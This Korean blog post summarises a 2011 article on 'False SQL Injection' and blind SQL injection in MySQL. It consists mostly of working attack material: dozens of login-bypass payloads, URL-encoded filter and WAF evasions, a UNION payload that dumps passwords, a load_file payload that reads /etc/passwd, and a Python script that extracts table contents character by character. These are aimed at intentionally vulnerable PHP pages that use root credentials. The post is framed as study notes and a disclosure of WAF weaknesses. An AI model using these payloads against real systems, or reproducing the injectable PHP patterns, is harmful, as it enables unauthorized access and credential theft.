about absolroot
home

False SQL Injection and Advanced Blind SQL Injection

제목 : “False SQL Injection and Advancded Blind SQL Injection” 원작자 : wh1ant (wh1ant.kr)
2011년 12월에 작성된 글로 내용 내 공격 가능 여부는 현재 상황과 맞지 않다.
현재는 원글이 삭제된 상태로 펌 게시물들이만 나와있는데 가독성은 떨어지지만 SQL Injection의 방법론에 대한 개념을 잡기 좋은 게시물이라 정리하며 다시 공부했다.
추가로 이 글에서는 False SQL Injection의 원리에 대해서는 언급하고 있지 않은데 다음 글을 통해 세부적인 원리를 파악할 수 있다.
요약 mysql은 내부적으로 좌측과 우측의 자료형을 비교한다. 여기서 우측 항을 기준으로하며, 기준으로 잡은 우측 항의 자료형과 좌측 항의 자료형이 다를경우 좌측을 강제로 형변환(casting) 시킨다. False SQL Injection은 결국 형변환에 실패하여 리턴되는 값이 0이되는 모든 값에 대해 TRUE값을 리턴한다.
이 문서는 SQL injection 공격이 웹 방화벽이나 기타 보안 솔루션 방어 우회가 가능하다는걸 공개하기 위해 작성하였다.
한국 웹 방화벽을 대상으로 테스트 한 결과 대부분의 SQL injection 필터링 우회가 가능하였다.
이 문서를 보기 위해서는 기본적인 MySQL 에 대한 이해가 필요하다.
필자는 이 문서에서 인증 공격에 사용되는 SQL injection 용어를 두가지로 분류 할것인데 일반직인 SQL injection이 True SQL injection 이고 새롭게 보여줄 공격이 False SQL injection 이다. 하지만 True SQL injection만 해도 이 문서에서는 독특한 공격으로 보여줄 것이다.
그리고 정확히 얘기 하자면 Blind SQL injection 공격을 말하는 True/False SQL injection 이랑은 전혀 다른 공격이다.
이번에 직접 공격한 서버는 디폴트 상태에서 테스트 했으며, 버전은 다음과 같다.
ubuntu server 11.04
mysql 5.1.54-1
Apache 2.2.17
PHP 5.3.5-1
웹 서버의 테스트 코드는 다음과 같다.
<?php /* create database injection_db; use injection_db; create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num)); insert into users values(1, 'admin', 'ad1234'); insert into users values(2, 'wh1ant', 'wh1234'); insert into users values(3, 'secuholic', 'se1234'); *** login.php *** */ if(empty($_GET['id']) || empty($_GET['password'])){ echo "<html>"; echo "<body>"; echo "<form name='text' action='login.php' method='get'>"; echo "<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type='text' name='id'><br>"; echo "PASS<input type='password' name='password'><br></h4>"; echo "<input type='submit' value='Login'>"; echo "</form>"; echo "</body>"; echo "</html>"; } else{ $id = $_GET['id']; $password = $_GET['password']; $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'pass'; $database = 'injection_db'; $db = mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($database,$db); $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error()); $row = mysql_fetch_array($sql); if($row[id] && $row[password]){ echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>"; echo "<h3><font color=#000000>"."Hello, "."</u>"; echo "<font color=#D2691E>".$row[id]."</u></h3><br>"; } else{ echo "<script>alert('Login failed');</script>"; } mysql_close($db); } ?>
PHP
복사

True SQL Injection

일단 기본적인 SQL injection 공격은 다음과 같다.
' or 1=1#
위의 공격 코드가 일바적인 SQL injection이며 필자는 이를 True SQL injection 으로 분류 한다.
로그인할 때 select 문을 이용하여 id=''password=''를 확인하게 되는데 이때 ''0으로 생각하면 이 문서를 더 쉽게 이해할 수 있다. 빈 공간은 0과 같기 때문에 = 연산으로 참이 되어 공격이 가능하다.
결국 다음과 같은 True SQL injection은 로그인를 성공 한다.
'=0#
SQL
복사
이것을 계속 응용하면 다음과 같은 공격도 가능하다.
이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.
'>-1#
SQL
복사
또한 01보다 작기 때문에 이것도 로그인이 가능하다.
'<1#
SQL
복사
꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.
1'<99#
SQL
복사
비교 연산도 마찬가지 이다. 0=10이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.
'=0=1#
SQL
복사
또한 서로 값이 같아야 하는 비교 연산도 있다.
'<=>0#
SQL
복사
이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.
'=0=1=1=1=1=1#
SQL
복사
'=1<>1#
SQL
복사
'<>1#
SQL
복사
1'<>99999#
SQL
복사
'!=2!=3!=4#
SQL
복사

False Injection

이번에는 False SQL injection을 볼 차례이다. 다음은 공격이 아닌 MySQL 에서 사용되는 명령어 이다.
mysql> select * from users; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.01 sec)
SQL
복사
별 문제점 없이 테이블에 있는 내용을 출력하는 모습이다.
다음은 id에 아무것도 입력을 안했을 때의 내용이다.
mysql> select * from users where id=''; Empty set (0.00 sec)
SQL
복사
당연히 id 필드에 해당되는 문자열이 없으니 출력될 내용이 없다.
사실 MySQL에서 문자열 넣는 부분에 숫자를 입력해도 입력이 되는 경우를 많이 보았다.
그 바탕으로 테스트한 결과가 다음과 같은 예 이다.
mysql> select * from users where id=0; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.00 sec)
SQL
복사
id에 숫자 0을 입력하면 테이블의 모든 내용이 출력되는걸 볼 수 있다.
이것이 False SQL injection의 기본이다. 결국 0의 결과 값을 가지고 로그인이 가능하다는 뜻이 된다.
0이 나오게 하려면 정수를 처리하는 뭔가가 필요한데 이 때 주로 사용되는게 비트 연산이과 사칙 연산이다.

다양한 SQL Injection 방법

AND OR SHIFT 비트 연산 SQL Injection (False)

일단 비트 연산을 예로들어 보자.
OR 비트 연산는 프로그래밍을 해본 사람이라면 대부분 알고 있을 것이다.
그리고 아까 말 했듯이 ''0이라 했음으로 00OR 비트 연산을 하면 결과 값이 0이 되므로
아래와 같은 연산은 결국 False SQL injection을 성공하게 된다.
'|0#
SQL
복사
보통 프로그래밍 언어에는 OR 비트 연산이 있으면 AND 비트 연산도 있는 경우가 많기 때문에 다음과 같은 공격을 이용해 로그인이 가능하다.
'&0#
SQL
복사
이것은 XOR 연산을 이용한 공격 이다.
'^0#
SQL
복사
또한 shift 비트 연산을 통하여 공격도 가능하다.
'<<0#
SQL
복사
'>>0#
SQL
복사
이런 비트 연산을 응용하면 다음과 같은 여러 공격이 가능할 것이다.
'&''#
SQL
복사
'%11&1#
SQL
복사
'&1&1#
SQL
복사
'|0&1#
SQL
복사
'<<0|0#
SQL
복사
'<<0>>0#
SQL
복사

사칙연산 SQL Injection (False)

이번에는 사칙 연산을 이용한 False SQL injection을 보여 주도록 하겠다.
''을 사칙 연산을 함으로 0이 나오게 하면 공격이 가능하다.
아래는 사칙 연산을 사용한 False SQL injection 공격 예 이다.
#곱하기 '*9#
SQL
복사
#나누기 '/9#
SQL
복사
#나머지 '%9#
SQL
복사
#더하기 '+0#
SQL
복사
#빼기 '-0#
SQL
복사
여기서 주의 할것은 플러스 연산을 할 때 1 이상이 오면 값이 증가 함으로 1이상의 값이 오면 안된다.
마이너스도 1 이상의 값이 오면 결과 값이 마이너스가 됨으로 공격 실패가 된다.
물론 플러스, 마이너스 연산을 정확히 하여 최종적으로 결과 값이 0이 나오게 하면 큰 문제는 없다.
또한 이것들도 길이 제한 없이 연속적으로 사칙 연산을 시용할 수 있다.
'+2+5-7#
SQL
복사
'+0+0-0#
SQL
복사
'-0-0-0-0-0#
SQL
복사
'*9*8*7*6*5#
SQL
복사
'/2/3/4#
SQL
복사
'%12%34%56%78#
SQL
복사
'/**/+/**/0#
SQL
복사
'-----0#
SQL
복사
'+++0+++++0*0#
SQL
복사

함수 SQL Injection (True / False)

다음은 함수를 이용한 공격이다. 여기서 모든 종류의 함수를 다 설명하기는 힘들다.
그리 어려운 공격이 아니므로 이 문서에서 설명하지 않는 함수를 사용하여 얼마든지 True, False SQL injection 공격이 가능하다. 그리고 이번공격은 True SQL injection 인지 False SQL injection 인지는 함수가 결정 하는것이 아니라 함수가 리턴 후 마지막에 사용되는 연산에 달렸다.
'<hex(1)#
SQL
복사
'=left(0x30,1)#
SQL
복사
'=right(0,1)#
SQL
복사
'!=curdate()#
SQL
복사
'-reverse(0)#
SQL
복사
'=ltrim(0)#
SQL
복사
'<abs(1)#
SQL
복사
'*round(1,1)#
SQL
복사
'&left(0,0)#
SQL
복사
'*round(0,1)*round(0,1)#
SQL
복사
또한 함수 이름과 괄호 중간에 공백이 들어가도 공격이 가능하다.
다만 몇몇 함수만 그럴뿐 모든 함수가 중간에 공백이 들어가도 되는건 아니다.
'=upper (0)#
SQL
복사

SQL 키워드 SQL Injection (True / False)

이번에는 SQL 키워드를 이용한 공격이다. 이것도 경우에 따라 True, False SQL injection 공격이 된다.
' <1 and 1#
SQL
복사
'xor 1#
SQL
복사
'div 1#
SQL
복사
'is not null#
SQL
복사
admin' order by'
SQL
복사
admin' group by'
SQL
복사
'like 0#
SQL
복사
'between 1 and 1#
SQL
복사
'regexp 1#
SQL
복사

주석 없이 공격 (True/False)

아이디 및 패스워드 입력하는 폼에 주석을 빼고 True, False SQL injection 공격도 가능하다.
ID와 password를 넣는 부분에 #, --, /**/ 같은 주석을 넣지 않은 공격은 웹 방화벽을 우회하는데 더 효과적일 것이다.
ID : '=' PASS: '='
SQL
복사
ID : '<>'1 PASS: '<>'1
SQL
복사
ID : '>1=' PASS: '>1='
SQL
복사
ID : 0'='0 PASS: 0'='0
SQL
복사
ID : '<1 and 1>' PASS: '<1 and 1>'
SQL
복사
ID : '<>ifnull(1,2)='1 PASS: '<>ifnull(1,2)='1
SQL
복사
ID : '=round(0,1)='1 PASS: '=round(0,1)='1
SQL
복사
ID : '*0*' PASS: '*0*'
SQL
복사
ID : '+' PASS: '+'
SQL
복사
ID : '-' PASS: '-'
SQL
복사
ID :'+1-1-' PASS:'+1-1-'
SQL
복사

괄호 사용하기

문서에서 설명하는 모든 공격들을 괄호를 이용하여 공격하면 보안 솔루션을 우회하는데 더 효과적일 것이다.
'+(0-0)#
SQL
복사
'=0<>((reverse(1))-(reverse(1)))#
SQL
복사
'<(8*7)*(6*5)*(4*3)#
SQL
복사
'&(1+1)-2#
SQL
복사
'>(0-100)#
SQL
복사

공백 대체하기

일반적인 SQL injection 공격을 다시 보도록 하자.
' or 1=1#
이것을 16진수로 변환해 공격하면 다음과 같다.
http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234
SQL
복사
위와 같은 공격은 기본적으로 필터링되기 때문에 좋은 공격이 아니며
%20 공백 대신 %09같은 TAB 으로 변경하여 필터링 우회를 시도할 것이다.
사실 여기서 %09 말고 %a0 값을 넣어도 공격이 가능하다.
공백을 대신해서 공격 가능한 값은 다음과 같다.
%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a
다음은 필터링 우회를 시도하기 위해 %20%a0로 변환하여 공격하는 한 예 이다.
http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234
SQL
복사

Blind SQL Injection

이번에 보여줄 공격은 Blind SQL injection 공격으로, 웹 방화벽을 우회하는 공격 까지는 아니지만 단지 공격자들이 로그인 페이지 에서도 Blind SQL injection 공격이 가능 하다는 생각이 적은거 같아 이번 문서에 작성하기로 하였다.
다음과 같은 공격 코드를 로그인 페이지에 넣으면 로그인이 되는과 동시에 패스워드가 노출이 되는걸 확인할 수 있다.
'union select 1,group_concat(password),3 from users#
SQL
복사
이 공격 코드는 /etc/passwd 정보를 가지고 온다.
'union select 1,load_file(0x2f6574632f706173737764),3 from users#
SQL
복사
구지 union select 문장말고도 and 연산을 이용하여 Blind SQL injection 공격도 가능하다.
다음과 같은 코드를 사용해서 로그인이 성공하면 레코드가 총 3개 라는걸 확인할 수 있다.
admin' and (select count(*) from users)=3#
SQL
복사
이번에는 웹 방화벽을 우회하여 Blind SQL injection 공격을 해 보도록 하자.
다음은 Blind SQL injection 공격에 취약한 코드 이다.
<?php /*** info.php ***/ $n = $_GET['num']; if(empty($n)){ $n = 1; } $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'root'; $database = 'injection_db'; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($database,$db); $sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error()); $info = @mysql_fetch_row($sql); echo "<body bgcolor=#000000>"; echo "<h1><font color=#FFFFFF>wh1ant</font>"; echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>"; echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>"; echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>"; echo "<body>"; mysql_close($db); ?>
SQL
복사
위와 같은 취약점 코드가 있을 때 기본적인 Blind SQL injection 은 다음과 같을 것이다.
http://127.0.0.1/info.php?num=1 and 1=0
SQL
복사
http://127.0.0.1/info.php?num=1 and 1=1
SQL
복사
하지만 = 연산을 사용하여도 Blind SQL injection이 가능 하다.
http://127.0.0.1/info.php?num=1=0
SQL
복사
http://127.0.0.1/info.php?num=1=1
SQL
복사
여기서 확실히 말하지만 절대 = 연산만 되는것은 아니다.
http://127.0.0.1/info.php?num=1<>0
SQL
복사
http://127.0.0.1/info.php?num=1<>1
SQL
복사
http://127.0.0.1/info.php?num=1<0
SQL
복사
http://127.0.0.1/info.php?num=1<1
SQL
복사
http://127.0.0.1/info.php?num=1*0*0*1
SQL
복사
http://127.0.0.1/info.php?num=1*0*0*0
SQL
복사
http://127.0.0.1/info.php?num=1%1%1%0
SQL
복사
http://127.0.0.1/info.php?num=1%1%1%1
SQL
복사
http://127.0.0.1/info.php?num=1 div 0
SQL
복사
http://127.0.0.1/info.php?num=1 div 1
SQL
복사
http://127.0.0.1/info.php?num=1 regexp 0
SQL
복사
http://127.0.0.1/info.php?num=1 regexp 1
SQL
복사
http://127.0.0.1/info.php?num=1^0
SQL
복사
http://127.0.0.1/info.php?num=1^1
SQL
복사
공격 예:
http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
SQL
복사
http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
SQL
복사
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
SQL
복사
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
SQL
복사
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
SQL
복사
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)
SQL
복사
http://127.0.0.1/info.php?num=0^(id=0x61646d696e)
SQL
복사
http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
SQL
복사
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)
SQL
복사
계속 찾으려 하면 시간이 오래 걸릴 거 같아 일단 이정도만 공격이 가능하다는걸 보여줬다.
Blind SQL injection 는 사람이 하기에는 힘들고 툴을 작성하여 사용하는게 더 효과적 이다. python 을 이용하여 만든 툴을 보여줄 것인데, ^(XOR) 비트 연산으로 공격하는 예제가 되겠다. 웹 방화벽 필터링을 최대한 우회 하기 위해 공백을 %0a로 변경 하였다.
#!/usr/bin/python ### blind.py ### import urllib import sys import os def put_data(true_url, true_result, field, index, length): for i in range(1, length+1): for j in range(32, 127): attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i) attack_open = urllib.urlopen(attack_url) attack_result = attack_open.read() attack_open.close() if attack_result==true_result: ch = "%c" % j sys.stdout.write(ch) break print "\t\t", def get_length(false_url, false_result, field, index): i=0 while 1: data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i) data_length_open = urllib.urlopen(data_length_url) data_length_result = data_length_open.read() data_length_open.close() if data_length_result==false_result: return i i+=1 url = "http://127.0.0.1/info.php" true_url = url + "?num=1" true_open = urllib.urlopen(true_url) true_result = true_open.read() true_open.close() false_url = url + "?num=0" false_open = urllib.urlopen(false_url) false_result = false_open.read() false_open.close() print "num\t\tid\t\tpassword" fields = "num", "id", "password" for i in range(1, 4): for j in range(0, 3): length = get_length(false_url, false_result, fields[j], i) length = put_data(false_url, true_result, fields[j], i, length) print ""
Python
복사
아쉽게도 공격 테스트는 여기서 마치겠지만 필자 말고도 누군가 추가적으로 공격을 연구 한다면
얼마든지 공격 코드 개발이 가능할 것이다.

✓ 다른 [정리] 포스트

베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2024. Absolroot all rights reserved.